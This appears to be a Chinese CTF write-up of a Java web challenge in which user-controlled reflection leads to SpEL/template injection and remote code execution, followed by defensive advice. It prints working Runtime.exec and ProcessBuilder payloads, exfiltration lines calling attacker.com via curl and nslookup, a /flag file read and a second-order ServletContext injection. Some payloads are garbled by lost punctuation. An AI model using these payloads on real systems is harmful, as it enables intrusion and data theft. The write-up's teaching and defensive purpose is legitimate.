Java反射滥用与SSTI漏洞:从原理到实战的攻防深度解析

Java反射滥用与SSTI漏洞:从原理到实战的攻防深度解析 1. 项目概述一次从反射到模板注入的攻防实战复盘最近刚结束的NewStarCTF2025春季赛Web赛道的题目设计得相当有水平尤其是那道融合了Java反射和SSTI服务器端模板注入的题目让我和队友们折腾了好一阵子。这道题不仅考察了对Java Web基础漏洞的理解更考验了在复杂限制下串联多种攻击手法的能力。赛后复盘我觉得这道题堪称是理解现代Java应用安全风险的一个绝佳案例。它不像那些简单的SQL注入或者文件上传给你一个明显的漏洞点而是需要你像剥洋葱一样一层层地分析应用逻辑从看似无害的Java反射调用入手最终利用SSTI拿到系统权限。整个过程涉及了至少五种不同的攻击思路和绕过技巧每一种都对应着开发中一个常见的疏忽点。这篇文章我就来详细拆解这道赛题还原我们当时的解题思路并深入剖析从Java反射滥用演变为SSTI漏洞的完整攻击链。无论你是CTF爱好者还是从事Java Web开发的工程师相信都能从中获得一些关于代码安全和漏洞挖掘的启发。2. 核心漏洞原理与攻击链构建2.1 题目场景与初始入口分析题目给了一个简单的Java Web应用提供了一个查询用户信息的接口。前端是一个表单输入用户名后端返回该用户的ID、邮箱等基本信息。初看之下就是一个再普通不过的查询功能。通过抓包分析我们发现请求体是一个JSON结构类似{username: test}后端返回对应的用户对象序列化后的JSON。第一个不寻常的点出现在错误处理上。当我们输入一个不存在的用户名时服务器返回的错误信息不是简单的“用户不存在”而是一个包含完整类名和调用栈的异常信息。这立刻引起了我们的警觉。仔细看异常栈发现其中一行提到了java.lang.reflect.Method.invoke(...)。这说明后端在处理查询请求时可能使用了反射机制来动态调用某个方法。注意在生产环境中将详细的异常信息尤其是包含调用栈和类名直接返回给客户端是严重的安全隐患。这被称为“信息泄露”它为攻击者提供了关于系统内部结构的宝贵情报。我们尝试构造一个特殊的用户名比如admin或or11但都返回了正常的“用户不存在”或参数错误说明这里不存在传统的SQL注入。那么反射调用点在哪里我们开始尝试在JSON请求体中添加额外的字段。2.2 Java反射机制的滥用与初步利用经过一番Fuzzing模糊测试我们发现当JSON请求体中包含一个名为method的字段时服务器的行为发生了变化。例如发送{username: test, method: toString}返回的错误信息变了提示“调用方法参数不匹配”。这证实了我们的猜想后端代码读取了请求中的method字段并尝试通过反射调用该名字的方法。Java反射机制本身是一个强大的工具它允许程序在运行时检查类、接口、字段和方法并能动态调用对象的方法。但在缺乏严格校验的情况下允许用户控制反射调用的方法名是极其危险的。攻击者可以借此调用任意公有方法包括那些本不应暴露的、具有危险功能的方法。我们首先尝试调用一些无害的方法来探测比如getClass、hashCode都成功了。这证明了反射调用点是真实存在的并且没有对可调用的方法进行白名单过滤。那么攻击目标是什么通常我们会寻找能执行代码或读写文件的方法。一个经典的目标是java.lang.Runtime.getRuntime().exec()用于执行系统命令。然而直接调用exec方法行不通因为反射调用通常作用于当前处理请求的这个Java对象我们暂时称其为service对象。我们需要先获取到Runtime类或者找到一个能间接导致代码执行的方法。这时我们注意到返回的用户信息对象里包含一个email字段其值看起来像是经过某种模板引擎渲染的。比如用户test的邮箱是test{{domain}}而{{domain}}在实际返回时被替换成了newstarctf.local。2.3 SSTI漏洞的引入与上下文识别{{...}}这种语法是许多模板引擎如Thymeleaf, FreeMarker, Velocity的典型标识。这强烈暗示后端在拼接某些字符串比如欢迎邮件内容、日志信息时使用了模板引擎。SSTI漏洞就发生在当用户输入被直接拼接进模板字符串并且该字符串被模板引擎解析执行的时候。那么Java反射和SSTI是如何联系起来的呢我们的推理路径如下反射调用点允许我们调用service对象的任意方法。我们需要找到一个方法它能影响后续的模板渲染过程或者能让我们将可控的payload注入到模板上下文中。最终目标是通过模板引擎的表达式执行任意代码如命令执行、文件读取。我们开始系统地枚举service对象可能有的方法。通过反射调用getClass().getDeclaredMethods()并遍历输出这里需要一点技巧将结果返回题目通过错误信息泄露了部分内容我们发现了几个关键方法setWelcomeMessage(String msg): 设置欢迎信息。getUserInfoTemplate(): 获取用户信息模板字符串。processTemplate(String template, Map data): 处理模板的方法。突破口就在processTemplate方法。我们可以通过反射调用setWelcomeMessage将一个包含SSTI Payload的字符串设置为“欢迎信息”。然后再调用getUserInfoTemplate或其它会触发模板渲染的方法我们的Payload就会被执行。3. 五种攻击手法的详细拆解与实操3.1 手法一基础反射调用链与Runtime命令执行这是最直接的思路。既然能调用任意方法目标就是找到一条从当前对象到Runtime.exec()的调用链。实操步骤获取Runtime类通过反射调用java.lang.Class.forName(java.lang.Runtime)。但注意forName是静态方法需要通过Class类来调用。调用静态方法获取Runtime类的getRuntime静态方法然后调用它获得Runtime对象实例。执行命令获取Runtime实例的exec方法传入要执行的命令参数如whoami。构造的反射调用序列概念性伪代码// 1. 获取Runtime类 Class clazz Class.forName(java.lang.Runtime); // 2. 获取getRuntime方法 Method getRuntimeMethod clazz.getMethod(getRuntime); // 3. 调用静态方法获取Runtime实例 Object runtimeInstance getRuntimeMethod.invoke(null); // 4. 获取exec方法 Method execMethod runtimeInstance.getClass().getMethod(exec, String.class); // 5. 执行命令 Process process (Process) execMethod.invoke(runtimeInstance, whoami);在题目中的利用 我们需要通过一个反射调用点来完成这一系列操作。这通常需要利用链式调用。我们发现service对象有一个getUtils()方法返回一个Utils对象而Utils对象有一个execute方法它内部使用了ProcessBuilder。于是我们的Payload变为通过反射先调用getUtils()再对返回的对象反射调用execute方法参数为我们控制的命令字符串。请求示例{ username: dummy, method: getUtils }获取到Utils对象在响应中的引用ID题目可能使用了某种序列化后再发起第二次反射调用{ targetObjectRef: REF_12345, // 假设返回的Utils对象引用 method: execute, args: [bash, -c, curl http://attacker.com/whoami] }实操心得这种直接调用Runtime的方式在CTF中越来越少见因为现代Java安全策略和WAF很容易拦截。但在实际黑盒测试中如果发现反射调用点这仍然是首要尝试的路径。关键在于仔细分析返回对象的类型寻找可能的“跳板”方法。3.2 手法二利用内置模板引擎表达式注入当直接命令执行被拦截或无法实现时我们转向SSTI。首先需要识别模板引擎类型。不同的引擎Payload差异很大。引擎识别技巧{{7*7}}如果返回49可能是Jinja2(Python)、Twig(PHP) 或某些Java引擎的类似语法。${7*7}如果返回49可能是FreeMarker或Velocity。#{7*7}可能是OGNL(Struts2) 或SpEL(Spring)。*{7*7}可能是Thymeleaf。% 7*7 %可能是JSP。在本题中我们通过之前的邮箱字段{{domain}}初步判断为类似Jinja2或Thymeleaf的语法。我们通过反射调用setWelcomeMessage注入测试Payload。测试请求{ username: dummy, method: setWelcomeMessage, args: [Hello {{7*7}}] }然后触发模板渲染例如访问用户信息页面如果看到输出Hello 7777777则确认存在SSTI并且乘法运算被执行说明表达式被求值。接下来构造读取文件的Payload。对于常见的Java模板引擎读取文件的Payload示例FreeMarker:#assign exfreemarker.template.utility.Execute?new() ${ ex(cat /etc/passwd) }(但通常被禁用)Velocity:#set($ee); $e.getClass().forName(java.lang.Runtime).getRuntime().exec(whoami)Thymeleaf:${T(java.lang.Runtime).getRuntime().exec(calc)}(在Spring EL中)经过测试我们发现本题的引擎对${T(...)}这种Spring表达式SpEL有反应。于是我们尝试注入SpEL表达式来执行命令。3.3 手法三SpEL表达式绕过与代码执行Spring Expression Language (SpEL) 功能强大但也非常危险。一旦用户输入被直接解析为SpEL表达式就能导致远程代码执行RCE。基础SpEL RCE Payload${T(java.lang.Runtime).getRuntime().exec(whoami)}但是直接这样注入可能会失败因为空格和单引号可能被过滤。关键字如Runtime,exec可能被WAF拦截。绕过技巧字符串拼接使用concat方法或号拼接命令字符串。${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(119).concat(T(java.lang.Character).toString(104)).concat(...))} // 拼接 whoami这种方式极其繁琐。更简单的是利用反射从字符串类名获取类。使用ProcessBuilder有时Runtime.exec被限制但ProcessBuilder可以。${new java.lang.ProcessBuilder(new java.lang.String[]{bash,-c,whoami}).start()}URL编码/双重编码对Payload进行URL编码可能绕过简单的字符串过滤。利用类加载器更隐蔽的方式是使用类加载器加载恶意字节码但条件苛刻。在本题中我们发现直接执行命令没有回显。我们需要将命令执行的结果输出到某个地方再读取。常见的方法有DNS外带执行nslookup $(whoami).attacker.com通过DNS查询记录获取输出。HTTP外带执行curl http://attacker.com/$(whoami)或wget。写入临时文件执行whoami /tmp/out.txt然后通过文件读取漏洞读取该文件。我们选择了写入临时文件的方式。因为题目环境通常有网络限制但文件系统是可写的。最终Payload构造通过反射调用setWelcomeMessage设置值为包含SpEL表达式的字符串。表达式内容执行命令并将结果重定向到Web目录下的一个文件。通过其他接口如文件读取、图片查看访问这个文件获取命令执行结果。请求序列// 第一步注入SpEL表达式执行命令并写入web可访问目录 { username: dummy, method: setWelcomeMessage, args: [${new java.lang.ProcessBuilder(new java.lang.String[]{sh,-c,whoami/app/static/result.txt}).start()}] } // 第二步触发模板渲染例如正常访问首页欢迎信息会被渲染 // 第三步直接访问 http://target/static/result.txt 读取命令输出3.4 手法四结合反序列化与类路径操控在尝试过程中我们发现直接执行某些命令失败提示“命令不存在”或“权限不足”。我们猜测目标环境可能是一个受限的容器环境如Docker Alpine或者bash、curl等工具被移除。这时我们需要寻找不依赖外部命令的利用方式。Java的一大特性就是强大的内省和反射能力。我们可以利用SSTI执行Java代码而不是系统命令。一种思路是通过SpEL表达式结合Java反射动态加载一个恶意类。操作步骤编写恶意Java类这个类需要有一个静态代码块或构造函数在其中执行我们想要的操作如读取flag、建立反向shell。由于我们不能直接上传文件需要将类文件内容编码后嵌入到Payload中。利用SpEL定义类通过SpEL的T(SomeClass)和类加载器理论上可以定义类但非常复杂且受限制。更可行的路径利用已有类库。我们通过反射枚举service对象的类加载器和类路径发现应用中包含commons-io库。这给我们提供了新思路。commons-io库中的IOUtils类可以方便地进行文件操作。我们可以通过SpEL调用它来读取文件。Payload示例${T(org.apache.commons.io.IOUtils).toString(T(java.nio.file.Paths).get(/flag))}这个表达式使用Paths.get获取flag文件的路径然后通过IOUtils.toString读取文件内容并转换为字符串最终这个字符串会被嵌入到渲染后的模板中比如欢迎信息里从而被我们看到。注意事项这种利用方式高度依赖于目标应用的类路径。在实战中需要先进行信息收集了解应用使用了哪些第三方库。可以通过触发一些已知的、会抛出类未找到异常的Payload来探测或者利用反射遍历已加载的类。3.5 手法五上下文污染与属性链挖掘这是最隐蔽、也最需要耐心的一种手法。它不直接执行命令或读取文件而是通过污染应用程序的上下文如Session、全局变量、静态字段影响后续所有用户的请求或者为其他漏洞利用创造条件。在本题中我们通过SSTI发现可以访问到一些Spring的上下文对象如#ctx、#request、#session。我们可以尝试修改这些对象中的属性。攻击思路污染Session通过SpEL向当前Session中写入一个值该值可能在其他页面被当作代码执行。${#session.setAttribute(dangerous, T(java.lang.Runtime).getRuntime())}修改静态配置如果应用有某个静态变量控制着安全开关通过SSTI修改它。挖掘属性链Property Chaining这是SSTI的高级技巧。模板引擎在解析${user.name}时会调用user.getName()或访问user.name属性。如果user对象本身可控我们可以构造一个链式访问最终到达危险方法。例如假设我们可以控制一个对象的class属性通过${obj.class}那么就可以访问到Class对象。进一步通过class.classLoader可以访问到类加载器。再通过类加载器可能加载恶意类或访问敏感资源。在本题的后期我们正是通过这种属性链挖掘找到了一个更简洁的利用方式。我们发现通过${T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getRequest().getServletContext()}可以获取到ServletContext对象。而这个对象有一个setAttribute方法可以设置全局属性。我们设置了一个属性其值是一个SpEL表达式字符串。然后在另一个原本安全的、只是简单显示该属性的功能点由于没有对输出做表达式过滤导致了二次注入和RCE。利用流程利用第一个SSTI点向ServletContext中写入一个恶意属性。{ method: setWelcomeMessage, args: [${#ctx.servletContext.setAttribute(danger, ${T(java.lang.Runtime).getRuntime().exec(\touch /tmp/pwned\)})}] }触发一个会读取并显示danger属性的页面例如应用的自定义错误页面配置了显示某些上下文变量。当该页面渲染时它会读取danger属性的值${T(java.lang.Runtime).getRuntime().exec(\touch /tmp/pwned\)}并将其作为模板内容的一部分进行解析从而触发表达式执行。这种手法的关键在于找到“一次数据写入”和“二次数据解析”之间的时间差和上下文关联需要深入理解应用的数据流。4. 防御策略与安全编码实践复盘攻击过程我们可以从以下几个层面来防御此类由反射滥用和SSTI构成的组合漏洞。4.1 安全使用Java反射机制严格的白名单控制绝对不要让用户输入直接作为反射调用的方法名、类名或参数。必须建立严格的白名单机制只允许调用业务逻辑明确需要的少数安全方法。// 错误示例 String methodName request.getParameter(method); Method m obj.getClass().getMethod(methodName); m.invoke(obj); // 正确示例 MapString, Method allowedMethods new HashMap(); allowedMethods.put(safeQuery, MyService.class.getMethod(safeQuery, String.class)); String methodName request.getParameter(method); Method m allowedMethods.get(methodName); if (m null) { throw new SecurityException(Method not allowed); } m.invoke(obj, param);降低权限运行如果必须使用动态反射考虑在沙箱环境或使用具有严格权限的AccessController中执行。避免暴露内部类信息禁用或自定义详细的错误页面不要将包含类名、方法名、堆栈跟踪的异常信息返回给客户端。4.2 杜绝服务器端模板注入输入净化与转义对所有将要嵌入模板的用户输入进行严格的转义。转义规则必须针对所使用的模板引擎。例如对于Thymeleaf使用th:text属性会自动进行HTML转义但如果是th:utext或内联表达式[[...]]则需要手动处理。使用“文本”模板模式对于仅仅需要替换变量、不需要执行任何逻辑的模板渲染场景使用模板引擎的“文本”或“纯文本”模式。在这种模式下模板引擎只会进行简单的变量替换而不会解析和执行表达式。沙箱化模板引擎配置模板引擎禁用危险的功能和类访问。例如在FreeMarker中可以通过Configuration.setNewBuiltinClassResolver来限制可实例化的类在Thymeleaf中可以配置SpringStandardDialect并设置SpringStandardExpressionParser的权限。代码审查与自动化扫描在代码审查中重点关注将用户输入直接传递给模板渲染引擎的方法调用。使用SAST静态应用安全测试工具扫描代码库寻找潜在的SSTI漏洞模式。4.3 纵深防御与安全运维最小权限原则运行Java应用的容器或进程应使用非root、低权限的用户。这样即使被攻破攻击者能执行的操作也有限。WAF规则部署Web应用防火墙配置规则检测常见的SSTI Payload模式如${,{{,%等与危险函数名的组合和反射攻击特征如异常参数名method、class等。依赖库管理定期更新第三方库避免使用已知存在漏洞的旧版本。移除不必要的依赖减少攻击面。安全开发生命周期将安全考虑嵌入到需求、设计、编码、测试、部署的每一个环节而不仅仅是事后补救。5. 实战排查与问题修复记录在真实环境遇到类似问题排查和修复流程可以遵循以下步骤排查阶段日志分析首先检查应用日志和访问日志寻找异常请求特别是包含大量特殊字符$,{,},*,#的请求。错误监控关注是否突然出现大量与模板解析、表达式执行或反射调用相关的错误。流量分析如果有条件对进入应用的流量进行采样分析使用正则表达式匹配已知的SSTI和反射攻击Payload。修复阶段紧急临时WAF封堵立即在WAF或网关层面对包含可疑Pattern如T(java.lang.Runtime)、getRuntime().exec、ProcessBuilder的请求进行拦截和告警。输入验证强化在接收用户参数的入口处添加强过滤禁止请求参数中出现method、class等敏感字段名或者对它们的值进行严格的格式校验如只允许字母数字。模板渲染处修复定位到具体的模板渲染代码将用户输入变量用正确的转义函数包裹。例如在Spring中确保使用ResponseBody或明确的转义输出而不是直接拼接字符串后交给模板引擎。修复阶段长期代码重构审查所有使用反射的代码用接口、策略模式等更安全的设计来替代动态调用。如果必须用反射实现严格的白名单。安全测试将SSTI和反射滥用测试用例加入自动化安全测试如DAST和代码审计的检查清单。组件升级与加固升级模板引擎到最新版本并按照安全最佳实践进行配置。移除或沙箱化不必要的表达式功能。这道NewStarCTF2025的Web题目像一面镜子照出了Java Web应用开发中几个容易被忽视的安全死角。从反射的滥用到模板引擎的不安全配置再到上下文的污染攻击链环环相扣。防守方的我们绝不能只盯着SQL注入和XSS这些“显性”漏洞更需要深入理解框架和语言的特性从设计源头和编码习惯上构筑防线。说到底安全是一个持续的过程而不是一个可以一劳永逸的状态。每一次攻防对抗都是对我们知识体系和安全意识的一次更新和加固。